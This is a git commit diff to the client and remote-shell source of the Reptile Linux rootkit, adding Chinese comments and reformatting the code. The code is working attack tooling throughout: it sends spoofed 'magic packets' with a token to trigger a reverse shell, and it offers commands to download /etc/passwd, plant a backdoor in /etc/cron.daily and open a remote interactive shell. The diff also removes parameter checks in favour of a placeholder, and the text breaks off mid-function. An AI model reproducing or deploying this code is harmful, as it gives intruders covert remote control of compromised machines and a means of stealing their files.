Signed-off-by: 黄富奎 <2789316467@qq.com>
main^2
黄富奎 2 months ago
parent a64168b46c
commit 283de46711

@ -24,16 +24,16 @@
#include "util.h" #include "util.h"
pid_t pid; pid_t pid;// 声明变量用于存储进程ID、监听器和数据包
char *listener, *packet; char *listener, *packet; //
char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", // 定义参数名称数组,用于配置工具的参数
"rport", "prot", "pass", "token"}; "rport", "prot", "pass", "token"};
char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST", char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",// 定义参数名称的大写版本数组,用于匹配用户输入
"RPORT", "PROT", "PASS", "TOKEN"}; "RPORT", "PROT", "PASS", "TOKEN"};
char *description[] = {"Local host to receive the shell", char *description[] = {"Local host to receive the shell",// 定义参数描述数组,用于在帮助信息中解释每个参数的作用
"Local port to receive the shell", "Local port to receive the shell",
"Source host on magic packets (spoof)", "Source host on magic packets (spoof)",
"Source port on magic packets (only for TCP/UDP)", "Source port on magic packets (only for TCP/UDP)",
@ -44,7 +44,7 @@ char *description[] = {"Local host to receive the shell",
"Token to trigger the shell"}; "Token to trigger the shell"};
int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); } int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); }
char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};// 定义参数值数组,用于存储用户设置的参数值
int help(char **args); int help(char **args);
int __exit(char **args); int __exit(char **args);
@ -53,15 +53,17 @@ int unset(char **args);
int show(char **args); int show(char **args);
int run(char **args); int run(char **args);
int export(char **args); int export(char **args);
int load(char **args); int load(char **args); //客户端操作
char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; // 定义内置命令数组和对应的函数指针数组
int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit}; int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit};
int num_builtins() int num_builtins()
// 定义函数返回内置命令的数量
{ return sizeof(builtin_str) / sizeof(char *); } { return sizeof(builtin_str) / sizeof(char *); }
int launch(char **args) int launch(char **args)
// 定义函数用于启动外部程序
{ {
pid_t pid; pid_t pid;
int status; int status;
@ -83,30 +85,31 @@ int launch(char **args)
return 1; return 1;
} }
void help_set() void help_set() //help解释其他命令
{ {
fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]); fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]);
fprintf(stdout, "Example: set LHOST 192.168.0.2\n"); fprintf(stdout, "Example: set LHOST 192.168.0.2\n");
} }
void help_unset() void help_unset()
// 定义帮助函数用于解释如何使用set命令
{ {
fprintf(stdout, "%s <variable>\n", builtin_str[2]); fprintf(stdout, "%s <variable>\n", builtin_str[2]);
fprintf(stdout, "Example: unset RHOST\n"); fprintf(stdout, "Example: unset RHOST\n");
} }
void help_conf(int i) void help_conf(int i)// 定义帮助函数,用于解释如何使用配置文件相关的命令
{ {
fprintf(stdout, "%s <file>\n", builtin_str[i]); fprintf(stdout, "%s <file>\n", builtin_str[i]);
fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]); fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]);
} }
void no_help() void no_help()// 定义函数,当命令不需要帮助信息时调用
{ {
fprintf(stdout, "This command doesn't need help\n"); fprintf(stdout, "This command doesn't need help\n");
} }
int help(char **args) int help(char **args)// 定义help函数用于显示帮助信息
{ {
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
@ -149,7 +152,7 @@ int help(char **args)
return 1; return 1;
} }
int __exit(char **args) int __exit(char **args)// 定义__exit函数用于退出程序并释放资源
{ {
int i; int i;
@ -173,7 +176,7 @@ int __exit(char **args)
return 0; return 0;
} }
int set(char **args) int set(char **args)// 定义set函数用于设置参数值
{ {
int i; int i;
@ -202,21 +205,25 @@ int set(char **args)
return 1; return 1;
} }
int unset(char **args) // unset函数用于取消设置某个参数的值
{ int unset(char** args) {
int i; int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 如果没有提供要取消设置的参数名打印错误信息并返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad); fprintf(stdout, "%s wrong syntax!\n", bad);
return 1; return 1;
} }
// 遍历所有参数,查找是否匹配用户提供的参数名
for (i = 0; i < num_variables; i++) { for (i = 0; i < num_variables; i++) {
if (strcmp(args[1], var_str[i]) == 0 || if (strcmp(args[1], var_str[i]) == 0 ||
strcmp(args[1], var_str_up[i]) == 0) { strcmp(args[1], var_str_up[i]) == 0) {
// 如果找到匹配的参数名释放之前存储的值并将其设置为NULL
if (var_array[i]) if (var_array[i])
free(var_array[i]); free(var_array[i]);
@ -226,119 +233,90 @@ int unset(char **args)
} }
} }
// 如果没有找到匹配的参数名,打印错误信息
fprintf(stdout, "%s wrong parameter!\n", bad); fprintf(stdout, "%s wrong parameter!\n", bad);
return 1; return 1;
} }
int show(char **args) // show函数用于显示当前所有参数的值和描述
{ int show(char** args) {
int i; int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 打印表头
fprintf(stdout, "\n"); fprintf(stdout, "\n");
fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n"); fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n");
// 遍历所有参数,打印其值和描述
for (i = 0; i < num_variables; i++) { for (i = 0; i < num_variables; i++) {
if (var_array[i]) { if (var_array[i]) {
// 根据值的长度,调整输出格式,以保持对齐
if (strlen(var_array[i]) >= 8) { if (strlen(var_array[i]) >= 8) {
fprintf(stdout, "%s\t\t%s\t\t%s\n", fprintf(stdout, "%s\t\t%s\t\t%s\n",
var_str_up[i], var_array[i], var_str_up[i], var_array[i], description[i]);
description[i]); }
} else if (strlen(var_array[i]) >= 16) { else if (strlen(var_array[i]) >= 16) {
fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i], fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i],
var_array[i], description[i]); var_array[i], description[i]);
} else { }
else {
fprintf(stdout, "%s\t\t%s\t\t\t%s\n", fprintf(stdout, "%s\t\t%s\t\t\t%s\n",
var_str_up[i], var_array[i], var_str_up[i], var_array[i], description[i]);
description[i]);
} }
} else { }
else {
// 如果参数没有被设置,打印空值
fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i], fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i],
description[i]); description[i]);
} }
} }
// 打印换行符
fprintf(stdout, "\n"); fprintf(stdout, "\n");
return 1; return 1;
} }
void interrupt(int signal) // interrupt函数用于处理程序接收到中断信号时的行为
{ void interrupt(int signal) {
// 打印中断信息
fprintf(stdout, "\r"); fprintf(stdout, "\r");
fflush(stdout); fflush(stdout);
fprintf(stdout, "%s Interrupted: %d\n", warn, signal); fprintf(stdout, "%s Interrupted: %d\n", warn, signal);
} }
int run(char **args) // run函数用于运行配置好的工具
{ int run(char** args) {
pid_t pid, pid2; pid_t pid, pid2;
int status; int status;
//char *envp[1] = {NULL};
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
if (!var_array[0]) { // 检查必要的参数是否已经被设置
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[0]); // ...
return 1;
}
if (!var_array[1]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[1]);
return 1;
}
if (!var_array[2]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[2]);
return 1;
}
if (!var_array[4]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[4]);
return 1;
}
if (!var_array[6]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[6]);
return 1;
}
if (!var_array[8]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[8]);
return 1;
}
if (!(strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0)) {
if (!var_array[3]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[3]);
return 1;
}
if (!var_array[5]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[5]);
return 1;
}
}
char *arg_listener[] = {listener, "-p", var_array[1], "-s", // 构建用于启动监听器和数据包发送器的参数数组
var_array[7], NULL, NULL}; char* arg_listener[] = { listener, "-p", var_array[1], "-s",
var_array[7], NULL, NULL };
char *arg_packet[] = {packet, "-t", var_array[4], "-x", char* arg_packet[] = { packet, "-t", var_array[4], "-x",
var_array[6], "-s", var_array[2], "-l", var_array[6], "-s", var_array[2], "-l",
var_array[0], "-p", var_array[1], "-k", var_array[0], "-p", var_array[1], "-k",
var_array[8], "-q", var_array[3], "-r", var_array[8], "-q", var_array[3], "-r",
var_array[5], NULL, NULL}; var_array[5], NULL, NULL };
// 创建子进程
pid = fork(); pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1) if (pid == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 父进程等待子进程结束
if (pid > 0) { if (pid > 0) {
signal(SIGTERM, interrupt); signal(SIGTERM, interrupt);
signal(SIGINT, interrupt); signal(SIGINT, interrupt);
@ -348,13 +326,18 @@ int run(char **args)
} while (!WIFEXITED(status) && !WIFSIGNALED(status)); } while (!WIFEXITED(status) && !WIFSIGNALED(status));
} }
// 子进程执行具体的启动逻辑
if (pid == 0) { if (pid == 0) {
// 创建另一个子进程
pid2 = fork(); pid2 = fork();
// 如果fork失败打印错误信息并退出
if (pid2 == -1) if (pid2 == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 第二个子进程启动监听器
if (pid2 > 0) { if (pid2 > 0) {
// 根据配置决定是否传递某些参数
if (var_array[7] == NULL) { if (var_array[7] == NULL) {
arg_listener[3] = NULL; arg_listener[3] = NULL;
arg_listener[4] = NULL; arg_listener[4] = NULL;
@ -363,9 +346,11 @@ int run(char **args)
fprintf(stderr, "%s listener could not be launched\n", bad); fprintf(stderr, "%s listener could not be launched\n", bad);
} }
// 第三个子进程发送数据包
if (pid2 == 0) { if (pid2 == 0) {
// 根据协议类型调整参数
if (strcmp(var_array[6], "icmp") == 0 || if (strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0) { strcmp(var_array[6], "ICMP") == 0) {
arg_packet[13] = NULL; arg_packet[13] = NULL;
arg_packet[14] = NULL; arg_packet[14] = NULL;
arg_packet[15] = NULL; arg_packet[15] = NULL;
@ -383,59 +368,61 @@ int run(char **args)
return 1; return 1;
} }
/* // export函数用于将当前配置导出到文件
* Thanks aliyuchang33 for suggesting this! ;) int export(char** args) {
*
* https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e
*
*/
int export(char **args)
{
int vars; int vars;
FILE *confile; FILE* confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad); fprintf(stdout, "%s wrong syntax!\n", bad);
return 1; return 1;
} }
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "w+"))) { if (!(confile = fopen(args[1], "w+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad); fprintf(stderr, "%s Cannot open config file\n", bad);
return 1; return 1;
} }
// 将所有参数的值写入文件
for (vars = 0; vars < 9; vars++) for (vars = 0; vars < 9; vars++)
fprintf(confile, "%s\n", var_array[vars]); fprintf(confile, "%s\n", var_array[vars]);
// 关闭文件并打印成功信息
fclose(confile); fclose(confile);
fprintf(stdout, "%s Configuration exported\n", good); fprintf(stdout, "%s Configuration exported\n", good);
return 1; return 1;
} }
int load(char **args) // load函数用于从文件加载配置
{ int load(char** args) {
int vars; int vars;
FILE *confile; FILE* confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) { if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad); fprintf(stdout, "%s wrong syntax!\n", bad);
return 1; return 1;
} }
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "r+"))) { if (!(confile = fopen(args[1], "r+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad); fprintf(stderr, "%s Cannot open config file\n", bad);
return 1; return 1;
} }
// 从文件中读取参数值并存储到var_array中
for (vars = 0; vars < 9; vars++) { for (vars = 0; vars < 9; vars++) {
char arg[50] = {0}; char arg[50] = { 0 };
fgets(arg, 50, confile); fgets(arg, 50, confile);
if (strcmp(arg, "(null)\n")) { if (strcmp(arg, "(null)\n")) {
@ -444,55 +431,64 @@ int load(char **args)
} }
} }
// 关闭文件并打印成功信息
fclose(confile); fclose(confile);
fprintf(stdout, "%s Configuration loaded\n", good); fprintf(stdout, "%s Configuration loaded\n", good);
return 1; return 1;
} }
int execute(char **args) // execute函数用于执行内置命令或启动外部程序
{ int execute(char** args) {
int i; int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL) if (args[0] == NULL)
return 1; return 1;
// 遍历所有内置命令,查找匹配的命令并执行
for (i = 0; i < num_builtins(); i++) { for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0) if (strcmp(args[0], builtin_str[i]) == 0)
return (*builtin_func[i])(args); return (*builtin_func[i])(args);
} }
// 如果没有找到匹配的内置命令,尝试启动外部程序
return launch(args); return launch(args);
} }
char *read_line(void) // read_line函数用于读取用户输入的一行命令
{ char* read_line(void) {
int bufsize = RL_BUFSIZE; int bufsize = RL_BUFSIZE;
int position = 0; int position = 0;
char *buffer = malloc(sizeof(char) * bufsize); char* buffer = malloc(sizeof(char) * bufsize);
int c; int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) { if (!buffer) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 循环读取用户输入,直到换行符
while (1) { while (1) {
c = getchar(); c = getchar();
if (c == EOF) { if (c == EOF) {
free(buffer); free(buffer);
exit(EXIT_SUCCESS); exit(EXIT_SUCCESS);
} else if (c == '\n') { }
else if (c == '\n') {
buffer[position] = '\0'; buffer[position] = '\0';
return buffer; return buffer;
} else { }
else {
buffer[position] = c; buffer[position] = c;
} }
position++; position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) { if (position >= bufsize) {
bufsize += RL_BUFSIZE; bufsize += RL_BUFSIZE;
char *buffer_backup = buffer; char* buffer_backup = buffer;
if ((buffer = realloc(buffer, bufsize)) == NULL) { if ((buffer = realloc(buffer, bufsize)) == NULL) {
free(buffer_backup); free(buffer_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
@ -502,26 +498,29 @@ char *read_line(void)
} }
} }
char **parse(char *line) // parse函数用于解析用户输入的命令行将其分割为参数数组
{ char** parse(char* line) {
int bufsize = TOK_BUFSIZE, position = 0; int bufsize = TOK_BUFSIZE, position = 0;
char **tokens = malloc(bufsize * sizeof(char *)); char** tokens = malloc(bufsize * sizeof(char*));
char *token, **tokens_backup; char* token, ** tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) { if (!tokens) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM); token = strtok(line, TOK_DELIM);
while (token != NULL) { while (token != NULL) {
tokens[position] = token; tokens[position] = token;
position++; position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) { if (position >= bufsize) {
bufsize += TOK_BUFSIZE; bufsize += TOK_BUFSIZE;
tokens_backup = tokens; tokens_backup = tokens;
tokens = realloc(tokens, bufsize * sizeof(char *)); tokens = realloc(tokens, bufsize * sizeof(char*));
if (!tokens) { if (!tokens) {
free(tokens_backup); free(tokens_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
@ -535,12 +534,13 @@ char **parse(char *line)
return tokens; return tokens;
} }
void client_loop() // client_loop函数用于进入命令行循环等待用户输入命令
{ void client_loop() {
char *line; char* line;
char **args; char** args;
int status; int status;
// 循环等待用户输入命令
do { do {
line = readline("\e[00;31mreptile-client> \e[00m"); line = readline("\e[00;31mreptile-client> \e[00m");
add_history(line); add_history(line);
@ -555,31 +555,35 @@ void client_loop()
clear_history(); clear_history();
} }
int main() // main函数是程序的入口点
{ int main() {
int len; int len;
char *pwd = get_current_dir_name(); char* pwd = get_current_dir_name();
// 清屏并打印欢迎信息
system("clear"); system("clear");
printf("\n\e[01;36mReptile Client\e[00m\n"); printf("\n\e[01;36mReptile Client\e[00m\n");
printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n"); printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n");
banner2(); banner2();
printf("\n"); printf("\n");
// 获取当前工作目录,并为监听器和数据包程序分配内存
len = strlen(pwd); len = strlen(pwd);
listener = (char *)malloc(len + 10); listener = (char*)malloc(len + 10);
// 如果内存分配失败,打印错误信息并退出
if (!listener) if (!listener)
fatal("malloc"); fatal("malloc");
packet = (char *)malloc(len + 8); packet = (char*)malloc(len + 8);
if (!packet) { if (!packet) {
free(listener); free(listener);
fatal("malloc"); fatal("malloc");
} }
// 初始化监听器和数据包程序的路径
bzero(listener, len + 10); bzero(listener, len + 10);
bzero(packet, len + 8); bzero(packet, len + 8);
@ -589,16 +593,22 @@ int main()
strcpy(packet, pwd); strcpy(packet, pwd);
strcat(packet, "/packet"); strcat(packet, "/packet");
// 创建子进程
pid = fork(); pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1) if (pid == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 父进程进入命令行循环
if (pid > 0) if (pid > 0)
client_loop(); client_loop();
// if (pid == 0) // 子进程执行后台任务(这部分代码被注释掉了)
// background job
return EXIT_SUCCESS; return EXIT_SUCCESS;
} }
//客服端实现写了一个简易shell包含了一些内置功能的实现("help", "set", "unset", "show", "run", "export", "load", "exit")
//help打印其他命令使用方法
//exit退出
//set设置变量值需要两个参数参数一为各参数类型("lhost", "lport", "srchost", "srcport", "rhost", "rport", "prot", "pass", "token", 不区分大小写)参数二为该参数的值其值存储在var_array中

@ -23,105 +23,114 @@
#include "pel.h" #include "pel.h"
#include "util.h" #include "util.h"
extern char *optarg; // 全局变量定义
unsigned char message[BUFSIZE + 1]; extern char* optarg; // 获取命令行参数的值
char *password = NULL; unsigned char message[BUFSIZE + 1]; // 定义一个缓冲区,用于存储发送和接收的消息
int sockfd; char* password = NULL; // 定义一个全局变量,用于存储连接密码
pid_t pid; int sockfd; // 定义一个全局变量,用于存储套接字文件描述符
pid_t pid; // 定义一个全局变量用于存储进程ID
int help(int sock, char **args);
int __exit(int sock, char **args); // 函数原型声明
int shell(int sock, char **args); int help(int sock, char** args); // 提供帮助信息的函数
int get_file(int sock, char **args); int __exit(int sock, char** args); // 退出函数,用于关闭连接
int put_file(int sock, char **args); int shell(int sock, char** args); // 打开一个交互式shell的函数
int delay(int sock, char **args); int get_file(int sock, char** args); // 从远程主机下载文件的函数
int put_file(int sock, char** args); // 向远程主机上传文件的函数
char *builtin_str[] = {"help", "download", "upload", "shell", "delay", "exit"}; int delay(int sock, char** args); // 设置反向shell连接间隔的函数
int (*builtin_func[])(int sock, char **) = {&help, &get_file, &put_file,
&shell, &delay, &__exit}; // 内置命令字符串数组,用于映射命令名称到其对应的函数
char* builtin_str[] = { "help", "download", "upload", "shell", "delay", "exit" };
int num_builtins() { return sizeof(builtin_str) / sizeof(char *); } // 内置命令对应的函数指针数组,用于根据命令名称调用对应的函数
int (*builtin_func[])(int sock, char**) = { &help, &get_file, &put_file, &shell, &delay, &__exit };
void pel_error(char *s)
{ // 返回内置命令的数量
int num_builtins() {
return sizeof(builtin_str) / sizeof(char*);
}
// 错误处理函数,根据错误代码打印相应的错误信息
void pel_error(char* s) {
switch (pel_errno) { switch (pel_errno) {
case PEL_CONN_CLOSED: case PEL_CONN_CLOSED:
fprintf(stderr, "%s %s: Connection closed.\n", bad, s); fprintf(stderr, "%s %s: Connection closed.\n", bad, s);
break; break;
case PEL_SYSTEM_ERROR: case PEL_SYSTEM_ERROR:
p_error(s); p_error(s);
break; break;
case PEL_WRONG_CHALLENGE: case PEL_WRONG_CHALLENGE:
fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s); fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s);
break; break;
case PEL_BAD_MSG_LENGTH: case PEL_BAD_MSG_LENGTH:
fprintf(stderr, "%s %s: Bad message length.\n", bad, s); fprintf(stderr, "%s %s: Bad message length.\n", bad, s);
break; break;
case PEL_CORRUPTED_DATA: case PEL_CORRUPTED_DATA:
fprintf(stderr, "%s %s: Corrupted data.\n", bad, s); fprintf(stderr, "%s %s: Corrupted data.\n", bad, s);
break; break;
case PEL_UNDEFINED_ERROR: case PEL_UNDEFINED_ERROR:
fprintf(stderr, "%s %s: No error.\n", bad, s); fprintf(stderr, "%s %s: No error.\n", bad, s);
break; break;
default: default:
fprintf(stderr, "%s %s: Unknown error code.\n", bad, s); fprintf(stderr, "%s %s: Unknown error code.\n", bad, s);
break; break;
} }
} }
void help_download() // 为下载命令提供帮助信息的函数
{ void help_download() {
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[1]); fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[1]);
fprintf(stdout, "Example: download /etc/passwd /tmp\n"); fprintf(stdout, "Example: download /etc/passwd /tmp\n");
} }
void help_upload() // 为上传命令提供帮助信息的函数
{ void help_upload() {
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[2]); fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[2]);
fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n"); fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n");
} }
void help_delay() // 为延迟命令提供帮助信息的函数
{ void help_delay() {
fprintf(stdout, "%s <seconds>\n", builtin_str[4]); fprintf(stdout, "%s <seconds>\n", builtin_str[4]);
fprintf(stdout, "Example: delay 3600\n\n"); fprintf(stdout, "Example: delay 3600\n\n");
fprintf(stdout, "%s Use \"delay 0\" if you don't wanna a " fprintf(stdout, "%s Use \"delay 0\" if you don't want a connection every X time\n", warn);
"connecion every X time\n", warn);
} }
void no_help() // 当命令不需要帮助信息时调用的函数
{ void no_help() {
fprintf(stdout, "This command doesn't need help\n"); fprintf(stdout, "This command doesn't need help\n");
} }
int help(int sock, char **args) // 提供帮助信息的函数
{ int help(int sock, char** args) {
// 如果没有提供子命令或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1) if (args[0] == NULL && sock == -1)
return 1; return 1;
// 如果提供了子命令,则根据子命令提供具体的帮助信息
if (args[1] != NULL) { if (args[1] != NULL) {
if (strcmp(args[1], builtin_str[0]) == 0) { if (strcmp(args[1], builtin_str[0]) == 0) {
no_help(); no_help();
} else if (strcmp(args[1], builtin_str[1]) == 0) { }
else if (strcmp(args[1], builtin_str[1]) == 0) {
help_download(); help_download();
} else if (strcmp(args[1], builtin_str[2]) == 0) { }
else if (strcmp(args[1], builtin_str[2]) == 0) {
help_upload(); help_upload();
} else if (strcmp(args[1], builtin_str[3]) == 0) { }
else if (strcmp(args[1], builtin_str[3]) == 0) {
no_help(); no_help();
} else if (strcmp(args[1], builtin_str[4]) == 0) { }
else if (strcmp(args[1], builtin_str[4]) == 0) {
help_delay(); help_delay();
} else if (strcmp(args[1], builtin_str[5]) == 0) { }
else if (strcmp(args[1], builtin_str[5]) == 0) {
no_help(); no_help();
} else { }
else {
fprintf(stdout, "This command is not valid!\n"); fprintf(stdout, "This command is not valid!\n");
} }
} else { }
else {
// 如果没有提供子命令,则打印所有命令的帮助信息
fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n"); fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n");
fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]); fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]);
@ -137,93 +146,95 @@ int help(int sock, char **args)
return 1; return 1;
} }
int __exit(int sock, char **args) // 退出函数,用于关闭连接
{ int __exit(int sock, char** args) {
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1) if (args[0] == NULL && sock == -1)
return 1; return 1;
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); // 发送退出消息给远程主机
pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN);
fprintf(stdout, "\n"); fprintf(stdout, "\n");
return 0; return 0;
} }
int shell(int sock, char **args) // 打开一个交互式shell的函数
{ int shell(int sock, char** args) {
// 定义文件描述符集合用于select函数
fd_set rd; fd_set rd;
char *term, *temp; // 定义终端类型和窗口大小等变量
char* term, * temp;
int ret, len, imf, i, size; int ret, len, imf, i, size;
struct winsize ws; struct winsize ws;
struct termios tp, tr; struct termios tp, tr;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1) if (args[0] == NULL && sock == -1)
return 1; return 1;
// 获取终端类型
term = getenv("TERM"); term = getenv("TERM");
if (term == NULL) if (term == NULL)
term = "vt100"; term = "vt100";
// 发送终端类型到远程主机
len = strlen(term); len = strlen(term);
ret = pel_send_msg(sock, (unsigned char*)term, len);
ret = pel_send_msg(sock, (unsigned char *)term, len);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 如果标准输入是终端设置imf为1
imf = 0; imf = 0;
if (isatty(0)) { if (isatty(0)) {
imf = 1; imf = 1;
// 获取窗口大小
if (ioctl(0, TIOCGWINSZ, &ws) < 0) { if (ioctl(0, TIOCGWINSZ, &ws) < 0) {
p_error("ioctl(TIOCGWINSZ)"); p_error("ioctl(TIOCGWINSZ)");
return 1; return 1;
} }
} else { }
else {
ws.ws_row = 25; ws.ws_row = 25;
ws.ws_col = 80; ws.ws_col = 80;
} }
// 发送窗口大小到远程主机
message[0] = (ws.ws_row >> 8) & 0xFF; message[0] = (ws.ws_row >> 8) & 0xFF;
message[1] = (ws.ws_row) & 0xFF; message[1] = (ws.ws_row) & 0xFF;
message[2] = (ws.ws_col >> 8) & 0xFF; message[2] = (ws.ws_col >> 8) & 0xFF;
message[3] = (ws.ws_col) & 0xFF; message[3] = (ws.ws_col) & 0xFF;
ret = pel_send_msg(sock, message, 4); ret = pel_send_msg(sock, message, 4);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 如果命令是shell则发送shell命令到远程主机
if (strcmp(args[0], builtin_str[3]) == 0) { if (strcmp(args[0], builtin_str[3]) == 0) {
temp = (char *)malloc(2); temp = (char*)malloc(2);
if (!temp) { if (!temp) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
temp[0] = RUNSHELL; temp[0] = RUNSHELL;
temp[1] = '\0'; temp[1] = '\0';
fprintf(stdout, "\n"); fprintf(stdout, "\n");
} else { }
else {
// 如果命令不是shell则发送用户输入的命令到远程主机
size = 1; size = 1;
len = 0; len = 0;
temp = (char*)malloc(size);
temp = (char *)malloc(size);
if (!temp) { if (!temp) {
p_error("malloc"); p_error("malloc");
return 1; return 1;
} }
while (args[len] != NULL) { while (args[len] != NULL) {
size++; size++;
size += strlen(args[len]); size += strlen(args[len]);
char *temp_backup = temp; char* temp_backup = temp;
if ((temp = realloc(temp, size)) == NULL) { if ((temp = realloc(temp, size)) == NULL) {
free(temp_backup); free(temp_backup);
p_error("realloc"); p_error("realloc");
@ -231,390 +242,337 @@ int shell(int sock, char **args)
} }
len++; len++;
} }
memset(temp, '\0', size); memset(temp, '\0', size);
for (i = 0; i < len; i++) { for (i = 0; i < len; i++) {
strcat(temp, args[i]); strcat(temp, args[i]);
strcat(temp, " "); strcat(temp, " ");
} }
} }
len = strlen(temp); len = strlen(temp);
ret = pel_send_msg(sock, (unsigned char *)temp, len); ret = pel_send_msg(sock, (unsigned char*)temp, len);
free(temp); free(temp);
if (ret != PEL_SUCCESS) { if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg"); pel_error("pel_send_msg");
return 1; return 1;
} }
// 设置终端属性,用于非规范模式下的输入输出
if (isatty(1)) { if (isatty(1)) {
if (tcgetattr(1, &tp) < 0) { if (tcgetattr(1, &tp) < 0) {
p_error("tcgetattr"); p_error("tcgetattr");
return 1; return 1;
} }
memcpy((void*)&tr, (void*)&tp, sizeof(tr));
memcpy((void *)&tr, (void *)&tp, sizeof(tr));
tr.c_iflag |= IGNPAR; tr.c_iflag |= IGNPAR;
tr.c_iflag &= tr.c_iflag &=
